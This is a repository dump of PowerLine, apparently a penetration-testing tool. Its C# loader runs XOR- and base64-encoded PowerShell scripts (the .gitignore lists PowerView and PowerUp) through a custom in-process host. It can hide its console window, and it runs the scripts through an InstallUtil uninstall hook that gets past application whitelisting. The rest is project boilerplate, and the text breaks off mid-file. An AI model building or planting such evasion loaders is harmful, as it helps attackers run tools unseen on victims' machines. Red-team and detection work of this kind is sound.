the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("PowerLineTemplate")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("PowerLineTemplate")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("a4990544-3228-4bb9-9651-b05f516e0b71")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /PowerLine/PowerLine.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {05B57AFC-134D-4495-94DF-F9E721772572} 8 | Exe 9 | Properties 10 | PowerLine 11 | PLBuilder 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | x64 27 | pdbonly 28 | true 29 | .\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 61 | -------------------------------------------------------------------------------- /PowerLine/PowerLine10.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {05B57AFC-134D-4495-94DF-F9E721772572} 8 | Exe 9 | Properties 10 | PowerLine 11 | PLBuilder 12 | v4.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | x64 27 | pdbonly 28 | true 29 | .\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 61 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | 4 | function RemoveForceProjectLevelHack($project) 5 | { 6 | Write-Host "RemoveForceProjectLevelHack" 7 | Foreach ($item in $project.ProjectItems) 8 | { 9 | if ($item.Name -eq "Fody_ToBeDeleted.txt") 10 | { 11 | $item.Delete() 12 | } 13 | } 14 | } 15 | 16 | function FlushVariables() 17 | { 18 | Write-Host "Flushing environment variables" 19 | $env:FodyLastProjectPath = "" 20 | $env:FodyLastWeaverName = "" 21 | $env:FodyLastXmlContents = "" 22 | } 23 | 24 | function Update-FodyConfig($addinName, $project) 25 | { 26 | Write-Host "Update-FodyConfig" 27 | $fodyWeaversPath = [System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($project.FullName), "FodyWeavers.xml") 28 | 29 | $FodyLastProjectPath = $env:FodyLastProjectPath 30 | $FodyLastWeaverName = $env:FodyLastWeaverName 31 | $FodyLastXmlContents = $env:FodyLastXmlContents 32 | 33 | if ( 34 | ($FodyLastProjectPath -eq $project.FullName) -and 35 | ($FodyLastWeaverName -eq $addinName)) 36 | { 37 | Write-Host "Upgrade detected. Restoring content for $addinName" 38 | [System.IO.File]::WriteAllText($fodyWeaversPath, $FodyLastXmlContents) 39 | FlushVariables 40 | return 41 | } 42 | 43 | FlushVariables 44 | 45 | $xml = [xml](get-content $fodyWeaversPath) 46 | 47 | $weavers = $xml["Weavers"] 48 | $node = $weavers.SelectSingleNode($addinName) 49 | 50 | if (-not $node) 51 | { 52 | Write-Host "Appending node" 53 | $newNode = $xml.CreateElement($addinName) 54 | $weavers.AppendChild($newNode) 55 | } 56 | 57 | $xml.Save($fodyWeaversPath) 58 | } 59 | 60 | function Fix-ReferencesCopyLocal($package, $project) 61 | { 62 | Write-Host "Fix-ReferencesCopyLocal $($package.Id)" 63 | $asms = $package.AssemblyReferences | %{$_.Name} 64 | 65 | foreach ($reference in $project.Object.References) 66 | { 67 | if ($asms -contains $reference.Name + ".dll") 68 | { 69 | if($reference.CopyLocal -eq $true) 70 | { 71 | $reference.CopyLocal = $false; 72 | } 73 | } 74 | } 75 | } 76 | 77 | function UnlockWeaversXml($project) 78 | { 79 | $fodyWeaversProjectItem = $project.ProjectItems.Item("FodyWeavers.xml"); 80 | if ($fodyWeaversProjectItem) 81 | { 82 | $fodyWeaversProjectItem.Open("{7651A701-06E5-11D1-8EBD-00A0C90F26EA}") 83 | $fodyWeaversProjectItem.Save() 84 | $fodyWeaversProjectItem.Document.Close() 85 | } 86 | } 87 | 88 | UnlockWeaversXml($project) 89 | 90 | RemoveForceProjectLevelHack $project 91 | 92 | Update-FodyConfig $package.Id.Replace(".Fody", "") $project 93 | 94 | Fix-ReferencesCopyLocal $package $project -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/build/dotnet/Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | $(NCrunchOriginalSolutionDir) 7 | 8 | 9 | 10 | 11 | $(SolutionDir) 12 | 13 | 14 | 15 | 16 | $(MSBuildProjectDirectory)..\..\..\ 17 | 18 | 19 | 20 | 21 | 22 | 23 | $(KeyOriginatorFile) 24 | 25 | 26 | 27 | 28 | $(AssemblyOriginatorKeyFile) 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | $(ProjectDir)FodyWeavers.xml 39 | $(SignAssembly) 40 | $(MSBuildThisFileDirectory)..\..\ 41 | 42 | 45 | 52 | 53 | 65 | 66 | 69 | 70 | 71 | 72 | True 73 | 74 | 75 | 76 | 77 | 78 | 81 | 85 | 86 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/build/netstandard1.4/Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | $(NCrunchOriginalSolutionDir) 7 | 8 | 9 | 10 | 11 | $(SolutionDir) 12 | 13 | 14 | 15 | 16 | $(MSBuildProjectDirectory)..\..\..\ 17 | 18 | 19 | 20 | 21 | 22 | 23 | $(KeyOriginatorFile) 24 | 25 | 26 | 27 | 28 | $(AssemblyOriginatorKeyFile) 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | $(ProjectDir)FodyWeavers.xml 39 | $(SignAssembly) 40 | $(MSBuildThisFileDirectory)..\..\ 41 | 42 | 45 | 52 | 53 | 65 | 66 | 69 | 70 | 71 | 72 | True 73 | 74 | 75 | 76 | 77 | 78 | 81 | 85 | 86 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/build/portable-net+sl+win+wpa+wp/Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | $(NCrunchOriginalSolutionDir) 7 | 8 | 9 | 10 | 11 | $(SolutionDir) 12 | 13 | 14 | 15 | 16 | $(MSBuildProjectDirectory)..\..\..\ 17 | 18 | 19 | 20 | 21 | 22 | 23 | $(KeyOriginatorFile) 24 | 25 | 26 | 27 | 28 | $(AssemblyOriginatorKeyFile) 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | $(ProjectDir)FodyWeavers.xml 39 | $(SignAssembly) 40 | $(MSBuildThisFileDirectory)..\..\ 41 | 42 | 45 | 52 | 53 | 65 | 66 | 69 | 70 | 71 | 72 | True 73 | 74 | 75 | 76 | 77 | 78 | 81 | 85 | 86 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/PowerLineTemplate.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {A4990544-3228-4BB9-9651-B05F516E0B71} 8 | Exe 9 | Properties 10 | PowerLineTemplate 11 | PowerLine 12 | v2.0 13 | 512 14 | 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | 36 | 37 | true 38 | bin\x64\Debug\ 39 | DEBUG;TRACE 40 | full 41 | x64 42 | prompt 43 | MinimumRecommendedRules.ruleset 44 | 45 | 46 | ..\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | prompt 52 | MinimumRecommendedRules.ruleset 53 | Off 54 | true 55 | true 56 | 57 | 58 | 59 | .\Costura.dll 60 | 61 | 62 | 63 | True 64 | 65 | 66 | 67 | False 68 | .\System.Management.Automation.dll 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 96 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/PowerLineTemplate10.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {A4990544-3228-4BB9-9651-B05F516E0B71} 8 | Exe 9 | Properties 10 | PowerLineTemplate 11 | PowerLine 12 | v4.0 13 | 512 14 | 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | 36 | 37 | true 38 | bin\x64\Debug\ 39 | DEBUG;TRACE 40 | full 41 | x64 42 | prompt 43 | MinimumRecommendedRules.ruleset 44 | 45 | 46 | ..\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | prompt 52 | MinimumRecommendedRules.ruleset 53 | Off 54 | true 55 | true 56 | 57 | 58 | 59 | .\Costura.dll 60 | 61 | 62 | 63 | True 64 | 65 | 66 | 67 | False 68 | .\System.Management.Automation.dll 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 96 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/PowerLineMain.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Management.Automation.Runspaces; 4 | using System.Text; 5 | using System.Runtime.InteropServices; 6 | using System.Threading; 7 | 8 | namespace PowerLine 9 | { 10 | class PowerLineMain 11 | { 12 | [DllImport("kernel32.dll")] 13 | static extern IntPtr GetConsoleWindow(); 14 | 15 | [DllImport("user32.dll")] 16 | static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 17 | 18 | const int SW_HIDE = 0; 19 | const int SW_SHOW = 5; 20 | 21 | static void Main(string[] args) 22 | { 23 | if (args.Length > 2 && (args[2].ToLower() == "-b")) 24 | { 25 | IntPtr handle = GetConsoleWindow(); 26 | ShowWindow(handle, SW_HIDE); 27 | } 28 | 29 | MyCode.StartHere(args); 30 | } 31 | } 32 | 33 | [System.ComponentModel.RunInstaller(true)] 34 | public class Sample : System.Configuration.Install.Installer 35 | { 36 | public override void Uninstall(System.Collections.IDictionary savedState) 37 | { 38 | System.IO.StreamReader file = new System.IO.StreamReader("prog_args.txt"); 39 | string line; 40 | string [] args = new string[15]; 41 | int counter = 0; 42 | while((line = file.ReadLine()) != null) 43 | { 44 | args[counter] = line; 45 | counter++; 46 | } 47 | 48 | MyCode.StartHere(args); 49 | } 50 | } 51 | 52 | public class MyCode 53 | { 54 | public static void StartHere(string[] args) 55 | { 56 | if (args.Length == 0) 57 | { 58 | Console.WriteLine("\nPlease provide at least a Script Name...\n"); 59 | Console.WriteLine("Typical usage: PowerLine.exe ScriptName \"Method MethodArguments\"\n"); 60 | Console.WriteLine("To see which scripts are available, run as: PowerLine.exe -ShowScripts\n"); 61 | Console.WriteLine(); 62 | return; 63 | } 64 | 65 | Functions.InitDictionary(); 66 | 67 | if (args[0].ToLower() == "-showscripts") 68 | { 69 | ShowScripts(); 70 | return; 71 | } 72 | else 73 | { 74 | if (!Functions.Funcs.ContainsKey(encodeString(args[0]))) 75 | { 76 | Console.WriteLine("Script: " + args[0] + " is not currently present in the program"); 77 | return; 78 | } 79 | 80 | ExecuteFunc(args); 81 | } 82 | } 83 | 84 | public static void ExecuteFunc(string[] args) 85 | { 86 | string script = encodeString(args[0]); 87 | string command = decodeString(Functions.Funcs[script]); 88 | 89 | if (args.Length > 1) 90 | { 91 | Console.WriteLine("\nCommand Invoked: " + args[1]); 92 | string parameters = "\n" + args[1] + "\n"; 93 | command += parameters; 94 | } 95 | 96 | //Runs powershell stuff 97 | MyPSHost myPSHost = new MyPSHost(); 98 | Runspace rspace = RunspaceFactory.CreateRunspace(myPSHost); 99 | rspace.Open(); 100 | Pipeline pipeline = rspace.CreatePipeline(); 101 | pipeline.Commands.AddScript(command); 102 | pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); 103 | pipeline.Commands.Add("out-default"); 104 | pipeline.InvokeAsync(); 105 | 106 | int idx = 0; 107 | List currList; 108 | while (pipeline.PipelineStateInfo.State == PipelineState.Running) 109 | { 110 | currList = ((MyPSHostUI)myPSHost.UI).Output; 111 | while(idx < currList.Count) 112 | { 113 | Console.Write(currList[idx]); 114 | idx++; 115 | } 116 | 117 | Thread.Sleep(100); 118 | } 119 | 120 | currList = ((MyPSHostUI)myPSHost.UI).Output; 121 | while (idx < currList.Count) 122 | { 123 | Console.Write(currList[idx]); 124 | idx++; 125 | } 126 | 127 | } 128 | 129 | public static void ShowScripts() 130 | { 131 | foreach (KeyValuePair kvp in Functions.Funcs) 132 | { 133 | Console.WriteLine(""); 134 | Console.WriteLine(decodeString(kvp.Key)); 135 | } 136 | } 137 | 138 | public static string decodeString(string enc) 139 | { 140 | byte[] decoded = Convert.FromBase64String(enc); 141 | 142 | for (int i = 0; i < decoded.Length; i++) 143 | { 144 | decoded[i] ^= (byte)Functions.dKey; 145 | } 146 | 147 | return Encoding.UTF8.GetString(decoded); 148 | } 149 | 150 | public static string encodeString(string dec) 151 | { 152 | //Lop off PS1 or other file extension from scriptname 153 | Byte[] moduleName = Encoding.UTF8.GetBytes(dec); 154 | Byte[] outModuleName = new Byte[moduleName.Length]; 155 | 156 | for (int i = 0; i < moduleName.Length; i++) 157 | { 158 | outModuleName[i] = (byte)(moduleName[i] ^ Functions.dKey); 159 | } 160 | return Convert.ToBase64String(outModuleName); 161 | } 162 | } 163 | 164 | } 165 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | [Xx]64/ 19 | [Xx]86/ 20 | [Bb]uild/ 21 | bld/ 22 | [Bb]in/ 23 | [Oo]bj/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | artifacts/ 46 | 47 | *_i.c 48 | *_p.c 49 | *_i.h 50 | *.ilk 51 | *.meta 52 | *.obj 53 | *.pch 54 | *.pdb 55 | *.pgc 56 | *.pgd 57 | *.rsp 58 | *.sbr 59 | *.tlb 60 | *.tli 61 | *.tlh 62 | *.tmp 63 | *.tmp_proj 64 | *.log 65 | *.vspscc 66 | *.vssscc 67 | .builds 68 | *.pidb 69 | *.svclog 70 | *.scc 71 | 72 | # Chutzpah Test files 73 | _Chutzpah* 74 | 75 | # Visual C++ cache files 76 | ipch/ 77 | *.aps 78 | *.ncb 79 | *.opendb 80 | *.opensdf 81 | *.sdf 82 | *.cachefile 83 | *.VC.db 84 | 85 | # Visual Studio profiler 86 | *.psess 87 | *.vsp 88 | *.vspx 89 | *.sap 90 | 91 | # TFS 2012 Local Workspace 92 | $tf/ 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | *.DotSettings.user 101 | 102 | # JustCode is a .NET coding add-in 103 | .JustCode 104 | 105 | # TeamCity is a build add-in 106 | _TeamCity* 107 | 108 | # DotCover is a Code Coverage Tool 109 | *.dotCover 110 | 111 | # NCrunch 112 | _NCrunch_* 113 | .*crunch*.local.xml 114 | nCrunchTemp_* 115 | 116 | # MightyMoose 117 | *.mm.* 118 | AutoTest.Net/ 119 | 120 | # Web workbench (sass) 121 | .sass-cache/ 122 | 123 | # Installshield output folder 124 | [Ee]xpress/ 125 | 126 | # DocProject is a documentation generator add-in 127 | DocProject/buildhelp/ 128 | DocProject/Help/*.HxT 129 | DocProject/Help/*.HxC 130 | DocProject/Help/*.hhc 131 | DocProject/Help/*.hhk 132 | DocProject/Help/*.hhp 133 | DocProject/Help/Html2 134 | DocProject/Help/html 135 | 136 | # Click-Once directory 137 | publish/ 138 | 139 | # Publish Web Output 140 | *.[Pp]ublish.xml 141 | *.azurePubxml 142 | 143 | # TODO: Un-comment the next line if you do not want to checkin 144 | # your web deploy settings because they may include unencrypted 145 | # passwords 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # NuGet Packages 150 | *.nupkg 151 | # The packages folder can be ignored because of Package Restore 152 | **/packages/* 153 | # except build/, which is used as an MSBuild target. 154 | !**/packages/build/ 155 | # Uncomment if necessary however generally it will be regenerated when needed 156 | #!**/packages/repositories.config 157 | # NuGet v3's project.json files produces more ignoreable files 158 | *.nuget.props 159 | *.nuget.targets 160 | 161 | # Microsoft Azure Build Output 162 | csx/ 163 | *.build.csdef 164 | 165 | # Microsoft Azure Emulator 166 | ecf/ 167 | rcf/ 168 | 169 | # Microsoft Azure ApplicationInsights config file 170 | ApplicationInsights.config 171 | 172 | # Windows Store app package directory 173 | AppPackages/ 174 | BundleArtifacts/ 175 | 176 | # Visual Studio cache files 177 | # files ending in .cache can be ignored 178 | *.[Cc]ache 179 | # but keep track of directories ending in .cache 180 | !*.[Cc]ache/ 181 | 182 | # Others 183 | ClientBin/ 184 | [Ss]tyle[Cc]op.* 185 | ~$* 186 | *~ 187 | *.dbmdl 188 | *.dbproj.schemaview 189 | *.pfx 190 | *.publishsettings 191 | node_modules/ 192 | orleans.codegen.cs 193 | 194 | # RIA/Silverlight projects 195 | Generated_Code/ 196 | 197 | # Backup & report files from converting an old project file 198 | # to a newer Visual Studio version. Backup files are not needed, 199 | # because we have git ;-) 200 | _UpgradeReport_Files/ 201 | Backup*/ 202 | UpgradeLog*.XML 203 | UpgradeLog*.htm 204 | 205 | # SQL Server files 206 | *.mdf 207 | *.ldf 208 | 209 | # Business Intelligence projects 210 | *.rdl.data 211 | *.bim.layout 212 | *.bim_*.settings 213 | 214 | # Microsoft Fakes 215 | FakesAssemblies/ 216 | 217 | # GhostDoc plugin setting file 218 | *.GhostDoc.xml 219 | 220 | # Node.js Tools for Visual Studio 221 | .ntvs_analysis.dat 222 | 223 | # Visual Studio 6 build log 224 | *.plg 225 | 226 | # Visual Studio 6 workspace options file 227 | *.opt 228 | 229 | # Visual Studio LightSwitch build output 230 | **/*.HTMLClient/GeneratedArtifacts 231 | **/*.DesktopClient/GeneratedArtifacts 232 | **/*.DesktopClient/ModelManifest.xml 233 | **/*.Server/GeneratedArtifacts 234 | **/*.Server/ModelManifest.xml 235 | _Pvt_Extensions 236 | 237 | # LightSwitch generated files 238 | GeneratedArtifacts/ 239 | ModelManifest.xml 240 | 241 | # Paket dependency manager 242 | .paket/paket.exe 243 | 244 | # FAKE - F# Make 245 | .fake/ 246 | /PowerLineTemplate/PLWTF/Functions.cs 247 | /PowerLine/powerview.ps1 248 | /PowerLine/PowerUp.ps1 249 | /PowerLine/PowerLine.vshost.exe.manifest 250 | /PowerLine/PowerLine.vshost.exe 251 | /PowerLine/PLBuild.vshost.exe.manifest 252 | /PowerLine/PLBuild.vshost.exe 253 | /PowerLine/PLBuild.exe 254 | /PowerLine/PowerLineTemplate/Functions.cs 255 | /PowerLine/PowerLine.exe 256 | /PowerLine/funcs_save.txt 257 | /PowerLine/xjis.nlp 258 | /PowerLine/sorttbls.nlp 259 | /PowerLine/sortkey.nlp 260 | /PowerLine/prcp.nlp 261 | /PowerLine/prc.nlp 262 | /PowerLine/PLBuilder.vshost.exe.manifest 263 | /PowerLine/PLBuilder.vshost.exe 264 | /PowerLine/PLBuilder.exe 265 | /PowerLine/normnfkd.nlp 266 | /PowerLine/normnfkc.nlp 267 | /PowerLine/normnfd.nlp 268 | /PowerLine/normnfc.nlp 269 | /PowerLine/normidna.nlp 270 | /PowerLine/ksc.nlp 271 | /PowerLine/bopomofo.nlp 272 | /PowerLine/big5.nlp 273 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/MyPSHost.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Management.Automation.Host; 4 | using System.Globalization; 5 | using System.Threading; 6 | using System.Security; 7 | using System.Management.Automation; 8 | using System.Collections.ObjectModel; 9 | 10 | namespace PowerLine 11 | { 12 | //http://community.bartdesmet.net/blogs/bart/archive/2008/07/06/windows-powershell-through-ironruby-writing-a-custom-pshost.aspx 13 | //http://stackoverflow.com/questions/1233640/capturing-powershell-output-in-c-sharp-after-pipeline-invoke-throws 14 | internal class MyPSHost : PSHost 15 | { 16 | private Guid _hostId; 17 | private MyPSHostUI _ui; 18 | 19 | public MyPSHost() 20 | { 21 | _hostId = Guid.NewGuid(); 22 | _ui = new MyPSHostUI(); 23 | } 24 | 25 | public override Guid InstanceId 26 | { 27 | get { return _hostId; } 28 | } 29 | 30 | public override string Name 31 | { 32 | get { return "MyPSHost"; } 33 | } 34 | 35 | public override Version Version 36 | { 37 | get { return new Version(1, 0); } 38 | } 39 | public override PSHostUserInterface UI 40 | { 41 | get { return _ui; } 42 | } 43 | 44 | public override CultureInfo CurrentCulture 45 | { 46 | get { return Thread.CurrentThread.CurrentCulture; } 47 | } 48 | 49 | public override CultureInfo CurrentUICulture 50 | { 51 | get { return Thread.CurrentThread.CurrentUICulture; } 52 | } 53 | 54 | public override void EnterNestedPrompt() 55 | { 56 | return; 57 | } 58 | 59 | public override void ExitNestedPrompt() 60 | { 61 | return; 62 | } 63 | 64 | public override void NotifyBeginApplication() 65 | { 66 | return; 67 | } 68 | 69 | public override void NotifyEndApplication() 70 | { 71 | return; 72 | } 73 | 74 | public override void SetShouldExit(int exitCode) 75 | { 76 | return; 77 | } 78 | } 79 | 80 | internal class MyPSHostUI : PSHostUserInterface 81 | { 82 | private MyPSHostRawUI _rawui; 83 | private List _sb; 84 | 85 | public MyPSHostUI() 86 | { 87 | _rawui = new MyPSHostRawUI(); 88 | _sb = new List(); 89 | } 90 | public override PSHostRawUserInterface RawUI { get { return _rawui; } } 91 | 92 | public override Dictionary Prompt(string caption, string message, Collection descriptions) 93 | { 94 | return null; 95 | } 96 | 97 | public List Output 98 | { 99 | get 100 | { 101 | return _sb; 102 | } 103 | } 104 | 105 | public override int PromptForChoice(string caption, string message, Collection choices, int defaultChoice) 106 | { 107 | return 0; 108 | } 109 | 110 | public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName) 111 | { 112 | return null; 113 | } 114 | 115 | public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName, PSCredentialTypes allowedCredentialTypes, PSCredentialUIOptions options) 116 | { 117 | return null; 118 | } 119 | 120 | public override string ReadLine() 121 | { 122 | return null; 123 | } 124 | 125 | public override SecureString ReadLineAsSecureString() 126 | { 127 | return null; 128 | } 129 | 130 | public override void Write(string value) 131 | { 132 | _sb.Add(value); 133 | } 134 | 135 | public override void Write(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value) 136 | { 137 | _sb.Add(value); 138 | _rawui.BackgroundColor = backgroundColor; 139 | _rawui.ForegroundColor = foregroundColor; 140 | } 141 | 142 | public override void WriteDebugLine(string value) 143 | { 144 | _sb.Add(value + "\r\n"); 145 | } 146 | 147 | public override void WriteErrorLine(string value) 148 | { 149 | _sb.Add(value + "\r\n"); 150 | } 151 | 152 | public override void WriteLine(string value) 153 | { 154 | _sb.Add(value + "\r\n"); 155 | } 156 | 157 | public override void WriteProgress(long sourceId, ProgressRecord record) 158 | { 159 | return; 160 | } 161 | 162 | public override void WriteVerboseLine(string value) 163 | { 164 | _sb.Add(value + "\r\n"); 165 | } 166 | 167 | public override void WriteWarningLine(string value) 168 | { 169 | _sb.Add(value + "\r\n"); 170 | } 171 | } 172 | 173 | internal class MyPSHostRawUI : PSHostRawUserInterface 174 | { 175 | private ConsoleColor _bgColor; 176 | private ConsoleColor _fgColor; 177 | private Size _bufSize; 178 | 179 | public MyPSHostRawUI() 180 | { 181 | _bgColor = ConsoleColor.Black; 182 | _fgColor = ConsoleColor.Yellow; 183 | _bufSize = new Size(80, 60); 184 | } 185 | 186 | public override ConsoleColor BackgroundColor 187 | { 188 | get 189 | { 190 | return _bgColor; 191 | } 192 | 193 | set 194 | { 195 | _bgColor = value; 196 | } 197 | } 198 | 199 | public override Size BufferSize 200 | { 201 | get 202 | { 203 | return _bufSize; 204 | } 205 | 206 | set 207 | { 208 | _bufSize = value; 209 | } 210 | } 211 | 212 | public override Coordinates CursorPosition 213 | { 214 | get 215 | { 216 | throw new NotImplementedException(); 217 | } 218 | 219 | set 220 | { 221 | throw new NotImplementedException(); 222 | } 223 | } 224 | 225 | public override int CursorSize 226 | { 227 | get 228 | { 229 | throw new NotImplementedException(); 230 | } 231 | 232 | set 233 | { 234 | throw new NotImplementedException(); 235 | } 236 | } 237 | 238 | public override ConsoleColor ForegroundColor 239 | { 240 | get 241 | { 242 | return _fgColor; 243 | } 244 | 245 | set 246 | { 247 | _fgColor = value; 248 | } 249 | } 250 | 251 | public override bool KeyAvailable 